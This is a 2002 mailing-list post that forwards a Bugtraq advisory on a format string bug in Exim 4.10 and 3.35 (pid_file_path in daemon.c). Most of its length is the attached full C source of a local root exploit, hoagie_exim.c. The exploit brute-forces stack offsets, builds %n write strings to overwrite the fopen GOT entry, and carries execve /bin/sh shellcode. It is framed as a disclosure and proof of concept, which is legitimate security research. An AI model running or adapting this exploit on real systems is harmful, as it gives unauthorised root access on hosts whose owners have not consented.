Fw: Local root vulnerability found in exim 4.x (and 3.x)

Lou Kamenov lou.kamenov at aeye.net
Thu Dec 5 11:05:59 GMT 2002


This is a multi-part message in MIME format.

--Multipart_Thu__5_Dec_2002_11:05:59_+0000_0839ba00
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit


Latest exim in ports is 4.10 (mail/exim).
There is PoC also.

cheers,
-lk


Begin forwarded message:

Date: Wed, 04 Dec 2002 16:40:29 +0100
From: Wana Thomas <01psi194 at fhwn.ac.at>
To: bugtraq at securityfocus.com
Subject: Local root vulnerability found in exim 4.x (and 3.x)


Overview
--------

A local root vulnerability has been discovered in
Exim 4.x (4.10 verified and exploit available) and in
Exim 3.x (3.35 verified).

Impact
------

The vulnerability can only be exploited by the
"admin user" of exim, who is determined by compiled-in
values. Thus the RISK of this vulnerability is LOW.

Details
-------

This is a format string bug in daemon.c, line 976:

sprintf(CS buff, CS pid_file_path, "");   /* Backward compatibility */

pid_file_path can be changed on the command line.
This line is in the function daemon_go(), which only
gets executed when the user is an exim-admin-user.

This restricts the impact of this vulnerability a lot.
Standard configurations on all distributions should be
safe (verified: Debian Woody i386)

Solution
--------

Exim developers have been informed and a patch will be
ready shortly.

Exploit
-------

Please find attached a demonstration exploit of this
vulnerability, tested on Debian Woody i386.

There are four important defines to change before the
exploit will work - see the file for details.

Discovered by
-------------

Thomas Wana <01psi194 at fhwn.ac.at>

Credits
-------

greetings to the hoagie industries security group :-)


----

Lou Kamenov	lou at freebsd-bg.org		lou.k at hq.aeye.net
FreeBSD BGUG	http://www.freebsd-bg.org	http://www.aeye.net
Key Fingerprint - 936F F64A AD50 2D27 07E7  6629 F493 95AE A297 084A
One advantage of talking to yourself is that you know at least
somebody's listening. - Franklin P. Jones 


--Multipart_Thu__5_Dec_2002_11:05:59_+0000_0839ba00
Content-Type: text/plain;
 name="hoagie_exim.c"
Content-Disposition: attachment;
 filename="hoagie_exim.c"
Content-Transfer-Encoding: 7bit

/***********************************************************
 * hoagie_exim.c
 *
 * local root exploit for exim 4.10 and probably others.
 * [only works for exim admin users]
 *
 * Format string bug when handling with the pid_file_path.
 * 
 * Author: Thomas Wana <01psi194 at fhwn.ac.at>
 *
 * Greetz to andi and the other hoagie-fellas :-)
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY 
 * DAMAGE DONE USING THIS PROGRAM.
 *
 ************************************************************/

#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <string.h>

/*******************************************************
 * CRUCIAL VALUES
 * 
 * these standard values work for Debian Woody i386,
 * source build. 
 *
 * Play with the padding if the program can't find the
 * right stackpop values.
 *
 * ALTERNATE_PORT is the port where exim will bind during
 * the stackpop sequences. The port will be incremented by
 * one for each try, so expect to have many instances of
 * exim running. (this is because the port is bound to as
 * root and the user program can't kill that process anymore)
 *
 * Get the GOT_ADDRESS with 'objdump --dynamic-reloc exim | grep fopen'
 *
 * Shellcode-Address can vary, it is dependant on the size
 * of the current environment. I had values between 0xbffffb00
 * and 0xbffffe90. 
 *
 ********************************************************/
#define PADDING 3
#define ALTERNATE_PORT 3330
#define FOPEN_GOT_ADDRESS 0x080b6194
#define SHELLCODE_ADDRESS 0xbffffd00

#define SB4(a) ((unsigned int)(a>>24))
#define SB3(a) ((unsigned int)((a>>16)&0xFF))
#define SB2(a) ((unsigned int)((a>>8)&0xFF))
#define SB1(a) ((unsigned int)(a&0XFF))

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\xeb\x1e\x5e\x31\xc0\x88\x46\x07\x89"
                 "\x76\x08\x89\x46\x0c\x89\xc2\xb0\x0b"
                 "\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xc0"
                 "\x89\xc3\x40\xcd\x80\xe8\xdd\xff\xff"
                 "\xff/bin/sh";

int port=ALTERNATE_PORT;
char path[100];

int check_for_AAAA(char *line)
{
   int rval=0;
   char *endptr;

   if(strstr(line,"too long"))
   {
      endptr=strrchr(line,':')-8;   
   }
   else
   {
      endptr=line+strlen(line)-1-8;
   }
   if(strstr(endptr,"41414141")) rval=1;
   return rval;
}

int calc_bytes_written(char *line)
{
   int rval=0;
   char *p;
   if((p=strrchr(line,':')))
   {
      rval=(p-line); 
   }
   else
   {
      rval=strlen(line);
   } 
   if(strstr(line,"pid written to ")) rval-=strlen("pid written to ");
   else rval-=strlen("failed to open pid file ");
   return rval;
}

void getstackpops(int *bigs, int *smalls, int *bytes_written)
{
   int cpid;
   int pipedes[2];
   int found=0;
   int bs=0, ss=1;
   char hilf[10];

   printf("Getting stackpops ...\n");
   *bigs=0;
   *smalls=1;

   while(!found)
   {
      if(pipe(pipedes))
      {
         perror("pipe");
         exit(1);
      }  
   
      port++;
      cpid=fork();
      if(cpid==0)
      {
         // child process
         
         char fs[10000];
         int i;
   
         // close stderr and recreate it pointing into the pipe
         close(2);
         dup2(pipedes[1],2);

         // make new formatstring

         strcpy(fs,"/tmp/%s");
         for(i=0;i<PADDING;i++)
            strcat(fs,"Z");
         strcat(fs,"0000AAAA0000AAAA0000AAAA0000AAAA");
         for(i=0;i<bs;i++)
            strcat(fs,"%+e");
         for(i=0;i<ss;i++)
            strcat(fs,"%08x");

         // execute exim
         sprintf(hilf,"%d",port);
         execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);
      }
      else if(cpid>0)
      {
         // parent process 
         FILE *fp=fdopen(pipedes[0],"r");
         char line[10000];
         if(fp) 
         {
            do
            {
               fgets(line,10000,fp);
               line[strlen(line)-1]=0;
   /*  printf("%s\n",line);  ENABLE THIS LINE WHEN THE PROGRAM GETS STUCK! */
               if(strstr(line,"pid written to ") ||
                  strstr(line,"failed to open pid file "))
               {
                  if(strstr(line,"nan")) printf("watch out, nan encountered.\n");
                  if(check_for_AAAA(line)==1)
                  {
                     // stackpops found, values are OK
                     found=1;
                     bs--;         // revert 2 stackpops
                     printf("Stackpops found ;-)\n");
                     *bigs=bs;
                     *smalls=ss;
                     *bytes_written=calc_bytes_written(line)-13;
                  }
                  else
                  {
                     // increase stackpops
                     ss++;
                     if(ss==3) bs++, ss=1;
                     printf("trying bs=%d, ss=%d\n",bs,ss);
                  }
               }
            } while(!strstr(line,"Listening..."));
            fclose(fp);
         }
         else perror("fdopen");
         kill(cpid,SIGINT);
         usleep(100000);
      }
      else perror("fork"); 
      close(pipedes[0]);
      close(pipedes[1]);
   }
}

void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3, 
                        int *p4, int bytes_written)
{
   // greetings to scud :-)
   int write_byte;
   int already_written;
   int padding;

   write_byte=SB1(addr);
   already_written=bytes_written;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p1=padding;

   write_byte=SB2(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p2=padding;

   write_byte=SB3(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p3=padding;

   write_byte=SB4(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p4=padding;
}

int main(int argc, char **argv)
{
   int bigpops, smallpops, bytes_written, i;
   unsigned char fs[10000], hilf[1000];
   unsigned long a=FOPEN_GOT_ADDRESS,
                 b=FOPEN_GOT_ADDRESS+1,
                 c=FOPEN_GOT_ADDRESS+2,
                 d=FOPEN_GOT_ADDRESS+3; 
   unsigned int p1,p2,p3,p4;

   if(argc!=2)
   {
      printf("local root exploit for exim 4.10 [only works for exim admin users]\n\n");
      printf("./hoagie_exim path_to_exim\n\n");
      exit(1);
   }
   strcpy(path,argv[1]);        // exploiting an exploit? hehe

   getstackpops(&bigpops,&smallpops,&bytes_written);
   printf("Using %d bigpops and %d smallpops.\n", bigpops,smallpops);
   printf("Written bytes: %d\n",bytes_written);

   strcpy(fs,"/tmp/%s");
   for(i=0;i<PADDING;i++)
      strcat(fs,"Z");

   sprintf(hilf,"0000%c%c%c%c"
               "0000%c%c%c%c"
               "0000%c%c%c%c"
               "0000%c%c%c%c",
           SB1(a),SB2(a),SB3(a),SB4(a),SB1(b),SB2(b),SB3(b),SB4(b),
           SB1(c),SB2(c),SB3(c),SB4(c),SB1(d),SB2(d),SB3(d),SB4(d)); 
   strcat(fs,hilf);
   for(i=0;i<bigpops;i++)
      strcat(fs,"%+e");
   for(i=0;i<smallpops;i++)
      strcat(fs,"%08x"); 

   get_write_paddings(SHELLCODE_ADDRESS,&p1,&p2,&p3,&p4,bytes_written);

   sprintf(hilf,"%%.%uu%%n%%.%uu%%n%%.%uu%%n%%.%uu%%n",p1,p2,p3,p4);
   strcat(fs,hilf);
  
   // GET ROOT 
   printf("calling exim with fs='%s'\n",fs);
   sprintf(hilf,"%d",++port);
   execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);

   return 0;
}





--Multipart_Thu__5_Dec_2002_11:05:59_+0000_0839ba00--




More information about the Ukfreebsd mailing list